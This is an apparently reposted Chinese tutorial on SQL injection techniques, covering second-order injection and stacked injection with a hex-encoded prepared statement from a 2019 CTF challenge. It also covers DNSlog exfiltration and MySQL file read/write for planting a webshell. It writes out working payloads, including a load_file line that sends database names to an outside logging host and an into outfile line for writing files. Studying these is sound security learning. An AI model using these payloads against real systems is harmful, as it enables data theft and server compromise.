当前位置: 首页 > article >正文

sql注入 --二次注入堆叠注入文件读取getshell

二次注入

二次注入原理:

SQL二次注入,指的是在有些应用场景下,我们先把SQL注入的payload写入到目标站点数据库中,然后再在某些实际将该数据取出,使得我们写入的payload执行。
在这里插入图片描述

堆叠注入

条件:

因为堆叠注入原理就是通过结束符(;)同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL。
所以要想目标存在堆叠注入,在目标代码中存在类似于mysqli_multi_query()这样的函数并且也要看目标数据库类型是否支持多语句执行

举例,强网杯2019随便注

[BUUCTF在线评测](https://buuoj.cn/challenges#[强网杯 2019]随便注)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

详解这一段

  1. SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460; 这一行是将一个十六进制字符串赋值给用户定义的变量 @a。这个十六进制字符串代表的是 ASCII 编码的字符,解码后为 select flag from 20191919810931114514
  2. prepare execsql from @a; 这一行是准备一个名为 execsql 的预处理语句,其 SQL 语句内容来自于变量 @a
  3. execute execsql; 这一行是执行刚才准备的预处理语句。

DNSlog外带

注入条件

1、需要root权限

2、secure-file-priv安全配置关闭

select load_file(concat(‘//’,(select database()),‘ivxyak.ceye.io/ss’))

mysql文件读写getshell

条件:
1、配置文件关闭secure_file_priv参数 (该参数限制文件操作目录)

2、知道网站绝对路径

3、对文件夹有写入权限

语句

select load_file(‘E:\1.txt’):读取1.txt文件

select ‘123’ into outfile ‘E:\2.txt’:写入文件

直接写入webshell即可getshell


http://www.kler.cn/news/362500.html

相关文章:

  • 基于YOLO的钢材缺陷检测系统设计与实现
  • QT 机器视觉 1.相机类型
  • Chrome DevTools:Console Performance 汇总篇
  • MySQL - Navicat自动备份MySQL数据
  • Unity3D学习FPS游戏(1)获取素材、快速了解三维模型素材(骨骼、网格、动画、Avatar、材质贴图)
  • Jmeter 实战 JDBC配置
  • Shiro 授权(Authorization)总结
  • swagger讲解
  • 集群Spring定时只执行一次
  • 查收查引常用数据库——万方
  • 矩阵基础知识
  • Docker容器间链路管理
  • C++学习笔记----9、发现继承的技巧(二)---- 重用目的的继承
  • 数据库产品中审计与日志(Auditing and Logging)的功能简介
  • kebuadm部署k8s集群
  • 智联云采 SRM2.0 testService SQL注入漏洞复现
  • 【软件测试: jmeter工具】OS进程取样器调用python
  • 【算法】KMP字符串匹配算法
  • redis未授权访问
  • QExcel 保存数据 (QtXlsxWriter库 编译)
  • JMeter 动态参数赋值实践
  • Docker 安装Postgres和PostGIS,并制作镜像
  • centos系统防火墙SELinux设置指令
  • TensorFlow:强大的机器学习框架
  • Vue3获取ref元素的几种方式
  • 海报在线制作系统小程序源码